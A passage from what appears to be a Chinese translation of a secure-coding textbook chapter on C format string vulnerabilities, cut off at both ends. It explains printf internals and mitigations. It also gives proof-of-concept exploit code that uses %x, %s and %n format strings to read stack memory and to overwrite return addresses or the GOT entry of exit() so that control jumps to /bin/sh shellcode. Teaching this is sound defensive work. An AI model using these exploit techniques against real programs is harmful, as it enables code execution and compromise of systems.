这是C和C++程序默认的调用约定。所有的参数都逆序压入栈中。__cdecl调用约定要求每一个函数调用都包含栈清理代码。因为每次调用者都会对栈进行清空，所以这个调用约定支持对变参函数的使用。这成了支持变参函数的必备条件，因为编译器不可能在没有检查实际调用的情况下确定到底向函数中传入了几个参数。 __stdcall __stdcall调用约定用于调用Win 32 API函数。这个约定不支持使用变参函数，因为它是由被调用函数来执行清空栈操作的。这就意味着当生成代码从栈中弹出实参时，编译器无法事先确定将有多少个参数被传递进函数中。 __fastcall __fastcall调用约定会尽可能地将函数的参数放在寄存器中传递。前两个双字或更小的参数将被放到寄存器ecx和edx中，其余的参数按从右至左的原则传递。然后被调用的函数将参数从栈中弹出。 [1] C99 增加了va_copy() 宏。"},
    {"text": "未知 6.2 格式化输出函数 各个格式化输出函数由于历史不同，实现上也有显著的差异。C标准中定义的格式化输出函数如下所示。 ·fprintf（）按照格式字符串的内容将输出写入流中。流、格式字符串和变参列表一起作为参数提供给函数。 ·printf（）等同于fprintf（），除了前者假定输出流为stdout外。 ·sprintf（）等同于fprintf（），但是输出不是写入流而是写入数组中。C标准规定在写入的字符末尾必须添加一个空字符。 ·snprintf（）等同于sprintf（），但是它指定了可写入字符的最大值n。当n非零时，输出的字符超过第n-1个的部分会被舍弃而不会写入数组中。并且，在写入数组的字符末尾会添加一个空字符 [1] 。 ·vfprintf（）、vprintf（）、vsprintf（）、vsnprintf（）分别对应于fprintf（）、printf（）、sprintf（）和snprintf（），只是它们将后者的变参列表换成了va_list类型的参数。当参数列表是在运行时决定时，这些函数非常有用。 另外一个名为sys log（）的格式化输出函数并没有定义在C规范中，而是定义在POSIX中。这个函数接受一个优先级参数、一个格式规范以及该格式所需的任意参数，并且在系统的日志记录器（sys logd）中生成一条日志消息。sys log（）函数最先出现在BSD 4.2中，后来Linux和其他现代POSIX的实现中也开始支持它，但未得到Windows系统的支持。 对格式字符串的解释在C标准中规定。C运行时库一般遵从C标准，但是常常会包含一些非标准扩展。你通常可以使用任何一个格式化输出函数为一个特定的C运行时库以同样的方式解释格式字符串，因为它们几乎总是使用同一个子例程实现的。 接下来的几节将描述C标准中对于格式字符串的定义、GCC和Visual C++中的实现，以及这些实现与C标准之间的不同之处。 [1] snprintf() 在C99 标准中被引入，以提高标准库的安全性。 未知 6.2.1 格式字符串 格式字符串是由普通字符（ordinary character）（包括%）和转换规范（conversion specification）构成的字符序列。普通字符被原封不动地复制到输出流中。转换规范根据与实参对应的转换指示符对其进行转换，然后将结果写入输出流中。 转换规范通常以“%”开始按照从左向右的顺序解释。大多数转换规范都需要单个参数，但有时也可能需要多个或者完全不需要。程序员必须根据指定的格式提供相应个数的参数。当参数多于转换规范时，多余的将被忽略，而当参数不足时，则结果是未定义的。 一个转换规范是由可选域（标志、宽度、精度以及长度修饰符）和必需域（转换指示符）按照下面的格式组成的： %[ 标志][ 宽度][. 精度][{ 长度修饰符}] 转换指示符 例如，对转换规范%-10.8ld来说，-是标志位，10代表宽度，8代表精度，字母l是长度修饰符，d是转换指示符。这个转换规范将一个long int型的参数按照十进制格式打印，在一个最小宽度为10个字符的域中保持最少8位左对齐。 每一个域都是代表特定格式选项的单个字符或数字。最简单的转换规范仅仅包含一个“%”和一个转换指示符（例如%s）。 转换指示符 。转换指示符用来指示所应用的转换类型。它是唯一必需的格式域，出现在任意可选格式域之后。表6.1中列举了C标准中的一些转换指示符，包括在许多漏洞利用中扮演关键角色的n。 表6.1 转换指示符 标志 。标志位用来调整输出和打印的符号、空白、小数点、八进制和十六进制前缀等。一个格式规范中可能包含一个或多个标志。标志符在C标准中有描述。 宽度 。宽度是一个用来指定输出字符的最小个数的十进制非负整数。如果输出的字符个数比指定的宽度小，就用空白字符补足。 如果指定的宽度较小也不会引起输出域的截断。如果转换的结果比域宽大，则域会被扩展以容纳转换结果。如果使用星号（*）来指定宽度，则宽度将由参数列表中的一个int型的值提供。在参数列表中，宽度参数必须置于被格式化的值之前。 精度 。精度是用来指示打印字符个数、小数位数或者有效数字个数的非负十进制整数 [1] 。与宽度域不同，精度域可能会引起输出的截断或浮点值的舍入。如果精度值被设为0并且被转换值也为0，则不会输出任何字符。如果精度域是一个星号（*），那么它的值就由参数列表中的一个int参数提供。在参数列表中，精度参数必须置于被格式化的值之前。 长度修饰符 。长度修饰符指定了参数的大小。表6.2列举了长度修饰符及其对应的含义。如果使用了表中未出现的长度修饰符和转换指示符的组合，则会导致未定义的行为。 表6.2 长度修饰符* *资料来源：[ISO/IEC 2011] [1] 转换限定符决定精度域的解释并在精度域省略时，解释为默认精度。"},
    {"text": "未知 6.2.2 GCC GCC提供的格式化输出函数实现符合C标准，但同时也实现了POSIX扩展。 限制 。GCC3.2.2中的格式化输出函数可以处理最大为INT_MAX（在x86-32上是2147483647）的宽度和精度域。格式化输出函数还以int的形式保持和返回被输出字符的总个数。甚至当这个总个数的值超过了INT_MAX时它仍然会继续增加，从而引起有符号整数溢出，结果得到一个带符号的负值。然而，如果按照无符号数来解释的话，那么直到发生无符号整数溢出之前这个数都是准确的。能够适应各种可能的位模式来成功地增加这个总计数值的事实，在本章晚些时候考查漏洞利用技术时，发挥了关键的作用。 未知 6.2.3 Visual C++ Visual C++中对于格式化输出函数的实现是建立在C标准和微软特定的扩展之上的。 介绍 。至少在某些Visual C++实现中各个格式化输出函数共享一个通用的格式字符串规范定义。格式字符串通过一个名为_output（）的共用函数进行解释。_output（）基于从格式字符串中读出的字符和当前的状态来解析格式字符串并决定应该执行的动作。 限制 。_output（）函数使用一个有符号整数来存储宽度并且允许宽度值大至INT_MAX。因为_output（）函数未对有符号整数溢出进行检测和处理，因此超过INT_MAX的值可能会导致非预期的结果。 _output（）函数同样使用有符号整数来存储精度，但它同时还使用一个512字符的转换缓冲区，这就限制了其最大精度只能是512字符。表6.3展示了各个范围和精度值所对应的结果行为。 表6.3 Visual C++中的精度 字符输出计数器同样使用有符号的整数进行表示，但与GCC的实现不同的是，当这个值为负数时_output（）主循环将会退出，从而值就被限制在INT_MAX+1和UINT_MAX之间了。 长度修饰符 。Visual Studio 2012不支持C中的长度修饰符h、j、z和t。然而，它提供的I32长度修饰符与长度修饰符l的功能完全一致，而I64长度修饰符则与长度修饰符ll的作用相似。换句话说，I64可以用于打印long long int所表示的所有值，不过当使用n转换指示符时只写出32位。 未知 6.3 对格式化输出函数的漏洞利用 2000年6月，由于在WU-FTP [1] 中发现了格式字符串漏洞（ format string vulnerability ），格式化输出成了安全社区关注的焦点。当使用的格式字符串（或部分字符串）是由用户或其他非信任来源提供的时候，就有可能出现格式字符串漏洞。当格式化输出例程对一个数据结构进行越界写时就可能会导致缓冲区溢出。本节包含的漏洞利用之概念验证（proof-of-concept）例子虽然是用Visual C++开发并在Windows上试验的，但其底层的漏洞普遍存在于许多平台上。 [1] 参见www.kb.cert.org/vuls/id/29823。 未知 6.3.1 缓冲区溢出 向字符数组中写入数据的格式化输出函数（如sprintf（））会假定存在任意长度的缓冲区，从而导致它们易于造成缓冲区溢出。例6.4中展示了一个涉及调用sprintf（）的缓冲区溢出漏洞，该函数将格式字符串中的转换指示符%s替换成用户提供的字符串（可能是恶意的数据）并写入一个固定长度的缓冲区。任何长度大于495字节的字符串都会导致越界写（512字节–16个字符字节–1个空字节）。 例6.4 容易导致缓冲区溢出的格式化输出函数 1 char buffer[512]; 2 sprintf(buffer, \"Wrong command: %s\\n\", user); 缓冲区溢出并不一定都这么明显。例6.5所示的简短程序中就包含了一个可能被利用从而导致缓冲区溢出的编程缺陷[Scut 2001]。 第3行中的sprintf（）调用并不会被直接利用，因为转换指示符%.400s限制了仅能写入400字节。同样的调用可被用于间接地攻击第8行中的sprintf（）调用，例如用户通过使用下述值： %497d\\x3c\\xd3\\xff\\xbf<nops><shellcode> 例6.5 可伸展的缓冲区 1 char outbuf[512]; 2 char buffer[512]; 3 sprintf( 4 buffer, 5 \"ERR Wrong command: %.400s\", 6 user 7 ); 8 sprintf(outbuf, buffer); 在第3～7行调用的sprintf（）将该字符串插入缓冲区。然后这个缓冲区数组将被作为格式字符串参数传递给在第8行被第二次调用的sprintf（）。格式规范%497d指示函数sprintf（）从栈中读出一个假的参数并向缓冲区中写入497个字符。包括格式字符串中的普通字符在内，现在写入的字符总数已经超过了outbuf的长度4个字节。 用户输入可被操纵用于覆写返回地址，也就是拿恶意格式字符串参数中提供的利用代码的地址（Oxbfffd33c）去覆写该地址。在当前函数退出时，控制权将以与栈溢出攻击（参见2.3节）相同的方式转移给漏洞利用代码。 这是一个格式字符串漏洞，因为格式字符串被用户操纵来对程序进行利用。此类漏洞并非总是显而易见，而是深深地隐藏于复杂的软件系统中，例如qpopper 2.53及其更早的版本中都存在这种类型的漏洞 [1] 。 这个例子中的编程缺陷是由于在第8行不恰当地调用了sprintf（）函数来实现字符串的复制功能，其实这里应该使用strcpy（）或strncpy（）。自相矛盾的是，如果在这里使用strcpy（）来代替sprintf（），就能够消除这个漏洞。 [1] 参见www.auscert.org.au/render.html?it=81。"},
    {"text": "未知 6.3.2 输出流 将结果输出到流而不是输出到文件中的格式化输出函数（例如printf（））也可能会导致格式字符串漏洞。 例6.6所示的简单函数中包含一个格式字符串漏洞。如果用户能够部分或者全部控制用户参数，那这个程序就会被利用从而导致程序崩溃、查看栈内容、查看内存内容或覆写内存。下面几节将详细讨论这些漏洞利用。 例6.6 可被利用的格式字符串漏洞 1 int func(char *user) { 2 printf(user); 3 } 未知 6.3.3 使程序崩溃 格式字符串漏洞通常是在程序崩溃的时候才被发现。在大多数UNIX系统中，存取无效的指针会引起进程收到SIGSEGV信号。除非能够捕捉并处理它，否则程序将会非正常终止并导致核心转储（dump core）。与之类似，在Windows中读取一个未映射的地址将会导致系统的一般保护错误（general protection fault）并导致程序非正常终止。当用以下格式字符串调用格式化输出函数时，就会触发无效指针存取或未映射的地址读取： printf( “%s%s%s%s%s%s%s%s%s%s%s%s ”); 转换指示符%s显示执行栈上相应参数所指定的地址的内存。由于在这个例子中没有提供字符串参数，因此printf（）可以读取栈中任意内存位置，直到格式字符串耗尽或者遇到一个无效指针或未映射地址为止。 未知 6.3.4 查看栈内容 遗憾的是，很容易就能让许多程序崩溃，但是这还仅仅是问题的开始。攻击者还可以利用格式化输出函数来检查内存的内容。这类信息往往被用于进一步的漏洞利用。 如6.1节所描述的那样，格式化输出函数能够接受通常由栈中提供的可变数目的参数。图6.2展示了一个简单的printf（）调用的汇编代码例子，它是由Visual C++产生的。参数以逆序被压入栈中。由于在x86-32上栈向低内存地址增长（每次压栈后栈指针递减），因此参数在内存中出现的顺序与在printf（）调用时出现的顺序是一致的。 图6.2 printf（）调用的反汇编代码 图6.3展示了调用printf（）后内存中的内容 [1] 。格式化字符串0xe0f84201的地址出现在内存中的位置恰好位于参数值1、2、3之前。紧邻参数之前的内存（图中没有显示）中包含printf（）的栈帧。紧邻参数之后的内存中包含调用函数的自动变量，后者包括格式化字符数组0x2e253038的内容。 图6.3 查看栈内容 本例中的格式字符串%08x.%08x.%08x.%08x指示函数printf（）从栈中取回4个参数并将它们以8位十六进制数的形式显示出来。然而，当调用printf（）时仅仅向栈上放置了3个参数。在这种情况下，第四个转换规范所指定的显示是什么呢？ 包括printf（）在内的格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时，参数指针（argument pointer）指向第一个参数（值1）。随着每一个参数被相应的格式规范所耗用，参数指针的值也根据参数的长度不断递增，如图6.3上方的那些箭头所示。栈的内容或栈指针并没有被修改，因此执行将按预期继续进行下去，直到控制权返回给调用程序。 格式字符串中的每一个%08x都会从参数指针指定的位置读入一个被解释为int型的值。在图6.3中，通过每一个格式字符串输出的这些值被显示在相应格式字符串下面。前三个整数对应函数printf（）的前三个参数。第四个“整数”包含格式字符串的前四个字节ASCII码的%08x。格式化输出函数将以这种形式持续显示内存中的其他内容，直到在格式字符串中遇到一个空字节。 在显示完当前执行函数的剩余自动变量之后，printf（）将显示当前执行函数的栈帧（包括当前执行函数的返回地址和参数）。由于printf（）在栈内存中是按顺序“移动”的。所以它将会显示与调用函数（也就是调用printf（）的那个函数）同样的信息，以此类推。使用这个技术，有可能重建大部分的栈内存。攻击者可以使用这些数据来决定程序的偏移量或其他信息，从而进一步利用该漏洞或其他漏洞。 参数指针的移动 x86-32中格式化输出函数的参数指针可以一次增加4个或8个字节。 一次增加4个字节对于大多数转换指示符（例如d、i、o、u、x和X）来说是典型的。指定了长度修饰符h或hh（如果支持的话）会导致函数将数据解释为char或short。但是，由于当有符号或无符号的字符或短整型的整数被压栈时，整数提升规则会发生作用，因此参数指针还是只会增加4个字节。 增加8个字节相对容易。因为C中的ll长度修饰符在x86-32中是一个64位值，所以参数指针就会一次增加8个字节。微软的I64长度修饰符的行为与它类似。转换指示符a、A、e、E、f、F、g或G也可以用于64位浮点数的输出，从而参数指针一次增加8个字节。然而，使用浮点转换指示符可能会造成程序的非正常终止，例如，如果浮点子系统（floating-point subsystem）未被成功加载的话。 [1] 如果使用小端对齐，图6.3 中出现的字节与它们在内存中的一致。"},
    {"text": "未知 6.3.5 查看内存内容 攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如，转换指示符%s显示参数指针所指定的地址的内存，将它作为一个ASCII字符串处理，直至遇到一个空字符。如果攻击者能够通过操纵这个参数指针来“引用”一个特定的地址，那么转换指示符%s将会输出该位置的内存内容。 先前说过，参数指针可以使用转换指示符%x在内存中进行前向移动，它所能移动的距离仅受格式字符串的大小所限制。由于参数指针能在“包括调用函数的自动变量在内”的内存中遍历，因此攻击者就能够在调用函数的自动变量中插入一个地址（或参数指针所能引用的任何其他位置）。如果格式字符串被存储为一个自动变量，那么地址就能被插入在字符串的开始部分。例如，地址0x0142f5dc可被表示为一个32位的小端编码字符串（little endian encoded string）\\xdc\\xf5\\x42\\x01。printf（）函数会将这些字节作为普通字符对待，并输出相应的可显示的ASCII字符（如果该字符有定义的话）。如果格式字符串被存储在其他位置（例如，在数据段或栈段上），那么攻击者就能很容易地将地址存储在参数指针的附近。 综上所述，攻击者可以按照下面的格式创建一个格式字符串来查看指定地址的内存： address advance-argptr %s 图6.4展示了一个这种形式的格式字符串：\\xdc\\xf5\\x42\\x01%x%x%x%s。这个十六进制的地址常数被作为一个普通的字符输出。它们既不耗用任何参数也不会移动（步进）参数指针。实际上3个转换指示符%x应该使参数指针从格式字符串的开始位置前进12个字节。转换指示符%s则用来显示格式字符串起始位置提供的地址中的内存。在本例中printf（）显示从0x0142f5dc开始的内存直到它遇到字节\\0才结束。这个内存空间可以通过对函数printf（）的调用之间的地址步进而被映射。 当然并非总能通过使用一系列4字节的跳转（参见边栏“参数指针的移动”）来步进参数指针去引用格式字符串的起始部分。然而，格式字符串内的地址是可以被重配置的，因此可以通过在格式字符串之前加一个、两个或三个字符的前缀来实现一系列的4字节跳转。 图6.4 查看某个具体位置的内存 查看任意地址的内存的能力有助于攻击者开发其他更具破坏性的利用程序，在受害计算机上执行任意的代码就是一个例子。"},
    {"text": "未知 6.3.6 覆写内存 格式化输出函数之所以具有特别的危险性是因为大多数程序员还没有意识到其破坏力（例如，可以通过转换指示符%n向指定地址写入一个有符号整数值）。"},
    {"text": "例如，在执行下面的程序片段后： int i; printf(\"hello%n\\n\", (int *)&i); 变量i被赋值为5，因为在遇到转换指示符%n之前一共写入了5个字符（h-e-l-l-o）。"},
    {"text": "下列程序片段向各种类型和大小的整数变量写入输出的字符数： 01 char c; 02 short s; 03 int i; 04 long l; 05 long long ll; 06 07 printf(\"hello %hhn.\", &c); 08 printf(\"hello %hn.\", &s); 09 printf(\"hello %n.\", &i); 10 printf(\"hello %ln.\", &l); 11 printf(\"hello %lln.\", &ll); 例如，这可能允许一个攻击者写出一个32位或64位地址。"},
    {"text": "在下面的调用中： printf( “\\xdc\\xf5\\x42\\x01%08x.%08x.%08x%n ”); 就将代表输出字符个数的整数值写入地址0x0142f5dc中。"},
    {"text": "例如： 1 int i; 2 printf (\"%10u%n\", 1, &i); /* i = 10 */ 3 printf (\"%100u%n\", 1, &i); /* i = 100 */ 每一个格式字符串都耗用两个参数。"},
    {"text": "1 printf (\"%16u%n%16u%n%32u%n%64u%n\", 2 1, (int *) &foo[0], 1, (int *) &foo[1], 3 1, (int *) &foo[2], 1, (int *) &foo[3]); 将多次写与单格式字符串相结合的唯一区别在于，随着每一个字符的输出，计数器的值不断增加。 例如，第一个%16u%n字符序列向指定地址中写入的值是16，但第二个%16u%n则写32字节，因为计数器没有被重置。"},
    {"text": "它创建了一个如下格式的输出字符串： %width u%n% width u%n% width u%n% width u%n 其中width的值用来计算生成每一个转换指示符%n的正确值。"},
    {"text": "例6.7 用于写一个地址的利用代码 01 unsigned int already_written, width_field; 02 unsigned int write_byte; 03 char buffer[256]; 04 05 already_written = 506; 06 07 // 第1 个字节 08 write_byte = 0x3C8; 09 already_written %= 0x100; 10 11 width_field = (write_byte - already_written) % 0x100; 12 if (width_field < 10) width_field += 0x100; 13 sprintf(buffer, \"%%%du%%n\", width_field); 14 strcat(format, buffer); 15 16 // 第2 个字节 17 write_byte = 0x3fA; 18 already_written += width_field; 19 already_written %= 0x100; 20 21 width_field = (write_byte - already_written) % 0x100; 22 if (width_field < 10) width_field += 0x100; 23 sprintf(buffer, \"%%%du%%n\", width_field); 24 strcat(format, buffer); 25 26 // 第3 个字节 27 write_byte = 0x442; 28 already_written += width_field; 29 already_written %= 0x100; 30 width_field = (write_byte - already_written) % 0x100; 31 if (width_field < 10) width_field += 0x100; 32 sprintf(buffer, \"%%%du%%n\", width_field); 33 strcat(format, buffer); 34 35 // 第4 个字节 36 write_byte = 0x501; 37 already_written += width_field; 38 already_written %= 0x100; 39 40 width_field = (write_byte - already_written) % 0x100; 41 if (width_field < 10) width_field += 0x100; 42 sprintf(buffer, \"%%%du%%n\", width_field); 43 strcat(format, buffer); 上述代码使用了三个无符号整数：already_written、width_field和wirte_byte。"},
    {"text": "例6.8所示的最后的一个利用程序创建了一个如下格式的字符串序列： ·四套哑（dummy）整数/地址对 ·用于步进参数指针的指令 ·用于覆写地址的指令 例6.8 覆写内存 01 unsigned char exploit[1024] = \"\\x90\\x90\\x90...\\x90\"; 02 char format[1024]; 03 04 strcpy(format, \"\\xaa\\xaa\\xaa\\xaa\"); 05 strcat(format, \"\\xdc\\xf5\\x42\\x01\"); 06 strcat(format, \"\\xaa\\xaa\\xaa\\xaa\"); 07 strcat(format, \"\\xdd\\xf5\\x42\\x01\"); 08 strcat(format, \"\\xaa\\xaa\\xaa\\xaa\"); 09 strcat(format, \"\\xde\\xf5\\x42\\x01\"); 10 strcat(format, \"\\xaa\\xaa\\xaa\\xaa\"); 11 strcat(format, \"\\xdf\\xf5\\x42\\x01\"); 12 13 for (i=0; i < 61; i++) { 14 strcat(format, \"%x\"); 15 } 16 17 /* 这里是写入地址的代码 */ 18 19 printf(format); 第4～11行定义了四套哑整数/地址对。"},
    {"text": "未知 6.3.7 国际化 出于国际化的考虑，格式字符串和消息文本通常被移动到由程序在运行时打开的外部目录或文件中。格式字符串是必要的，因为不同的区域设置之间，参数的顺序可能会有所不同。这也意味着使用目录的程序必须传递格式字符串的变量。因为这是格式化输出函数合法和必要的使用，所以在格式字符串不是文本的情况下诊断可能会导致过度误报。 攻击者可以通过修改这些文件的内容从而改动程序的格式和字符串的值。因此，应该对这些文件加以保护，以防止其内容被非法改变。 同时，我们还必须防止攻击者使用自己的消息文件来替换正常的文件。这可以通过设置查找路径、环境变量或逻辑名字来限制存取（用于查找这种程序组件的Baroque规则很常用）。 未知 6.3.8 宽字符格式字符串漏洞 宽字符格式化输出函数易招致格式字符串和缓冲区溢出漏洞，它的利用方式与窄字符格式化输出函数类似，即使在从ASCII转换为Unicode字符串的特殊情况下。Dobb博士的文章“宽字符格式字符串漏洞：处理格式字符串缺陷的策略”（Wide-Character Format String Vulnerabilities:Strategies for Handling Format String Weaknesses）[Seacord 2005]介绍了如何利用宽字符格式字符串漏洞。 Unicode实际上具有使其更容易利用宽字符函数的特点。例如，多字节字符的字符串被所有的位设置为0的一个字节终止，称为空字符，因此有可能在字符串中间嵌入一个空字节。Unicode字符串通过一个空的宽字符终止。大多数实现使用16位（UTF-16）或32位（UTF-32）编码，都允许Unicode字符包含空字节。这经常有助于攻击者，因为允许他们注入更大范围的地址到Unicode字符串中。 未知 6.4 栈随机化 虽然格式化输出函数的行为是由C标准规定的，但某些和格式字符串有关的漏洞及对漏洞的利用与实现有关。例如，在Linux下使用GCC，栈的起始地址为0xC0000000并且朝低内存方向增长。结果，极少数Linux栈地址中包含空字节，从而使这些地址更容易被插入格式字符串。 然而，许多Linux变体（例如Red Hat、Debian和OpenBSD）中包含某种栈随机化机制。这种机制使得很难预测栈上信息的位置，包括返回地址和自动变量的位置，这是通过向栈中插入随机的间隙实现的。 未知 6.4.1 阻碍栈随机化 尽管栈随机化加大了漏洞利用的难度，但它并不能完全阻止漏洞利用的发生。举个例子，上一节中展示的格式字符串漏洞利用需要这样的一些值： 1.要覆写的地址。 2.shell code的地址。 3.参数指针和格式字符串起始地址之间的距离。 4.在第一个转换规范%u之前格式化输出函数已经写入的字节数。 如果这些值都被确定了，那么就可以利用被栈随机化所保护的系统上的格式字符串漏洞了。 待覆写地址 。例6.8和例6.9中所示的漏洞利用覆写了栈上的一个返回地址。由于栈随机化，这个地址现在很难被预测。然而，覆写返回地址并不是执行任意代码的唯一方式。正如3.4节所描述的那样，还可以覆写在程序正常执行中，控制权将被转移到的函数的GOT入口或其他地址。覆写GOT入口的优势在于它独立于诸如栈和堆这样的系统变量。 shellcode的地址 。例6.8所示的基于Windows的利用中假设向栈的自动变量中插入了一段shellcode。对于实现栈随机化的系统，想找到这个地址很困难。然而shellcode同样可以插入到数据段或堆上的变量中，这就比较容易找到了。 距离 。如果想要这个利用得逞，攻击者必须确定参数指针和格式字符串的起始位置在栈中的距离。乍一看，这似乎是个不可逾越的障碍。实际上，攻击者并不需要搞清楚格式字符串起始位置的绝对地址（因为它可能被有效地随机化了），它只需要知道格式化输出函数中的参数指针与格式字符串的起始位置之间的距离就可以了。尽管这两个位置的绝对地址都被随机化了，然而它们之间的相对距离却是不变的。因此，计算它们之间的距离并且插入所需数目的%x格式转换规范并不难做到。 字节输出 。第一个转换规范%u之前的最后一个变量记载的是格式化输出函数已经写入的字节数。这个数值可以根据距离变量，加上哑地址长度和地址字节轻易地计算得到。"},
    {"text": "未知 6.4.2 以双字的格式写地址 基于Windows的利用将一个shellcode的地址分成四次，每次写入一个字节，各次调用之间对地址进行递增。如果由于对齐的要求或者其他原因导致这种操作不可能，仍然可以通过向地址中一次写入一个字甚至全部内容来实现。 例6.9和例6.10展示了一个Linux下的利用，它是通过将高位字接在低位字的后面实现的（在一个小尾端架构上） [1] 。这个利用使用在第6行声明的静态变量向数据段中插入一个shellcode。在第13行，exit（）函数的GOT入口的地址被连接到格式字符串。在第15行中，该地址被加2后也连接到格式字符串。当第24行调用exit（）终止程序时，控制权会移交给shellcode。 例6.9 Linux利用程序变体 01 #include <stdio.h> 02 #include <string.h> 03 04 int main(void) { 05 06 static unsigned char shellcode[1024] = 07 \"\\x90\\x09\\x09\\x09\\x09\\x09/bin/sh\"; 08 09 size_t i; 10 unsigned char format_str[1024]; 11 12 strcpy(format_str, \"\\xaa\\xaa\\xaa\\xaa\"); 13 strcat(format_str, \"\\xb4\\x9b\\x04\\x08\"); 14 strcat(format_str, \"\\xcc\\xcc\\xcc\\xcc\"); 15 strcat(format_str, \"\\xb6\\x9b\\x04\\x08\"); 16 17 for (i=0; i < 3; i++) { 18 strcat(format_str, \"%x\"); 19 } 20 21 /* 这里是写入地址的代码 */ 22 23 printf(format_str); 24 exit(0); 25 } 例6.10 Linux利用程序变体：覆写内存 01 static unsigned int already_written, width_field; 02 static unsigned int write_word; 03 static char convert_spec[256]; 04 05 already_written = 28; 06 07 // 第一个字 08 write_word = 0x9020; 09 already_written %= 0x10000; 10 11 width_field = (write_word-already_written) % 0x10000; 12 if (width_field < 10) width_field += 0x10000; 13 sprintf(convert_spec, \"%%%du%%n\", width_field); 14 strcat(format_str, convert_spec); 15 16 // 最后一个字 17 already_written += width_field; 18 write_word = 0x0804; 19 already_written %= 0x10000; 20 21 width_field = (write_word-already_written) % 0x10000; 22 if (width_field < 10) width_field += 0x10000; 23 sprintf(convert_spec, \"%%%du%%n\", width_field); 24 strcat(format_str, convert_spec); [1] 这个利用程序已经在Red Hat Linux 2.4.20-31.9 版本上测试过。"},
    {"text": "未知 6.4.3 直接参数访问 POSIX[ISO/IEC/IEEE 9945:2009]允许转换被应用于参数列表中的格式之后的第n个参数上 [1] ，而不是应用到下一个未使用的参数上。在这种情况下，转换指示符%将被序列%n＄所代替，其中n是一个1～{NL_ARGMAX}范围内的十进制整数，它指定了参数的位置。 格式既可以包含数字式（例如，%n＄、*m＄等）也可以包含非数字式的（例如，%和*）参数转换规范，但不允许二者同时出现。%%与%n＄混合使用是个例外。在一个格式字符串中混用数字式和非数字式参数规范会导致未定义的结果。当使用数字式参数规范时，要想指定第n个参数，格式字符串中所有第一个到第n–1个前导参数都要被指定。 在包含%n＄形式的转换规范的格式字符串中，参数列表中的数字式参数可视需要被从格式字符串中引用多次。 例6.11展示了%n＄形式的转换规范是如何被用于格式字符串漏洞利用的。第4行的格式字符串在没有分解之前看上去很复杂。第一个转换规范%4＄5u获得第四个参数（即常量5），并将输出格式为无符号的十进制整数，宽度为5。第二个转换规范%3＄n，将当前输出计数器的值（5）写到第三个参数（&i）所指定的地址。该模式被重复了两遍。总之，第3～6行对printf（）函数的调用导致以5个字符的列宽将值5、6、7打印出来。第8行调用的printf（）打印出赋给变量i、j、k的值，这些值代表了在上一次调用printf（）的基础上输出计数器的增加值。 例6.11 直接参数存取 01 int i, j, k = 0; 02 03 printf( 04 \"%4$5u%3$n%5$5u%2$n%6$5u%1$n\\n\", 05 &k, &j, &i, 5, 6, 7 06 ); 07 08 printf(\"i = %d, j = %d, k = %d\\n\", i, j, k); 09 10 Output: 11 5 6 7 12 i = 5, j = 10, k = 15 转换规范%n＄中的参数数字n必须是这样的一个整数值：其值必须介于1和提供给函数调用的参数的最大数目之间。在某些实现中，会提供一个诸如NL_ARGMAX常量之类的上限值。在GCC中，运行时真正有效的值可以通过sysconf（）获得： int max_value = sysconf(_SC_NL_ARGMAX); 有些系统（如System V）有一个下限值，如9。在GNU C库中不存在实际的限制。Red Hat 9 Linux中该最大值是4096。 例6.10和例6.11所示的利用可以很容易地被修改成使用直接参数存取。例6.9的17～19行可以去除掉。用来计算写入部分格式字符串的新代码如例6.12所示。其中只有13、23行（以采用直接参数存取的格式规范替代了原来的版本）以及5行被修改了（去掉转换规范%x，从而改变已经写入输出流的字节数）。 例6.12 直接参数存取内存写 01 static unsigned int already_written, width_field; 02 static unsigned int write_word; 03 static char convert_spec[256]; 04 05 already_written = 16; 06 07 // 第一个字 08 write_word = 0x9020; 09 already_written %= 0x10000; 10 11 width_field = (write_word-already_written) % 0x10000; 12 if (width_field < 10) width_field += 0x10000; 13 sprintf(convert_spec, \"%%4$%du%%5$n\", width_field); 14 strcat(format_str, convert_spec); 15 16 // 最后一个字 17 already_written += width_field; 18 write_word = 0x0804; 19 already_written %= 0x10000; 20 21 width_field = (write_word-already_written) % 0x10000; 22 if (width_field < 10) width_field += 0x10000; 23 sprintf(convert_spec, \"%%6$%du%%7$n\", width_field); 24 strcat(format_str, convert_spec) [1] Linux支持%n$风格转换字符串，但Visual C++不支持。由于C标准不包括直接参数访问，因此这是不足为奇的。 未知 6.5 缓解策略 有很多开发人员在意识到转换指示符%n的危险时，不禁会问，“难道他们（I/O库的开发人员）不能去掉它们吗？”某些实现，如微软Visual Studio，确实在默认情况下禁用%n转换说明符，并提供_set_printf_count_output（）在需要时启用此功能。遗憾的是，由于%n转换指示符与整个体系结合紧密，对于许多实现，消除它将会破坏太多现有的代码。虽然如此，但还是存在不少缓解措施，可以用来防止格式字符串漏洞的产生。 未知 6.5.1 排除用户输入的格式字符串 简而言之，按照“FIO30-C.排除用户输入的格式字符串”（《C安全编码标准》[Seacord 2008]）处理。"},
    {"text": "未知 6.5.2 静态内容的动态使用 有一个消除格式字符串漏洞的常见建议是禁止动态格式字符串的使用。如果所有格式字符串都是静态的，那么格式字符串漏洞将不复存在（除非目标字符数组没有得到足够的限制而造成缓冲区溢出）。然而，这种方案不切实际，因为动态格式字符串已被现有代码广泛使用。 动态格式策略的一个可选替代品是对静态内容的动态使用。例6.13所示的简单程序实现了第一个参数和第二个参数之间的乘法。这里还使用了第三个参数来指示程序如何对结果进行格式化。如果第三个参数是字符串hex，那么将使用转换指示符%x将结果显示为十六进制的格式，否则结果将使用%d转换指示符显示为十进制数值。 如果不考虑例子中的程序缺少必要的输入验证这个明显且危险的事实的话，这个程序是可以免于受到格式字符串利用的威胁的。程序员应该也喜欢使用strtol（）函数代替atoi（）函数（参见《C安全编码标准》[Seacord 2008]，“INT06-C.使用strtol（）或相关函数将字符串标记转换为整数”）。尽管用户可以影响格式字符串的内容，但他们并不能随心所欲，为所欲为。这种对静态内容的动态使用正是一种处理动态格式字符串问题的好方法。 当出错的时候，这个示例程序很容易采用静态格式字符串改写。这在那些需要（可能是一次又一次地）判定动态格式字符串的使用是否安全的审计者中间可以少造成一些安全恐慌。 此缓解措施并不总是可行的，特别是在处理使用消息目录支持国际化的程序时。 例6.13 动态格式字符串 01 #include <stdio.h> 02 #include <string.h> 03 04 int main(int argc, char * argv[]) { 05 int x, y; 06 static char format[256] = \"%d * %d = \"; 07 08 x = atoi(argv[1]); 09 y = atoi(argv[2]); 10 11 if (strcmp(argv[3], \"hex\") == 0) { 12 strcat(format, \"0x%x\\n\"); 13 } 14 else { 15 strcat(format, \"%d\\n\"); 16 } 17 printf(format, 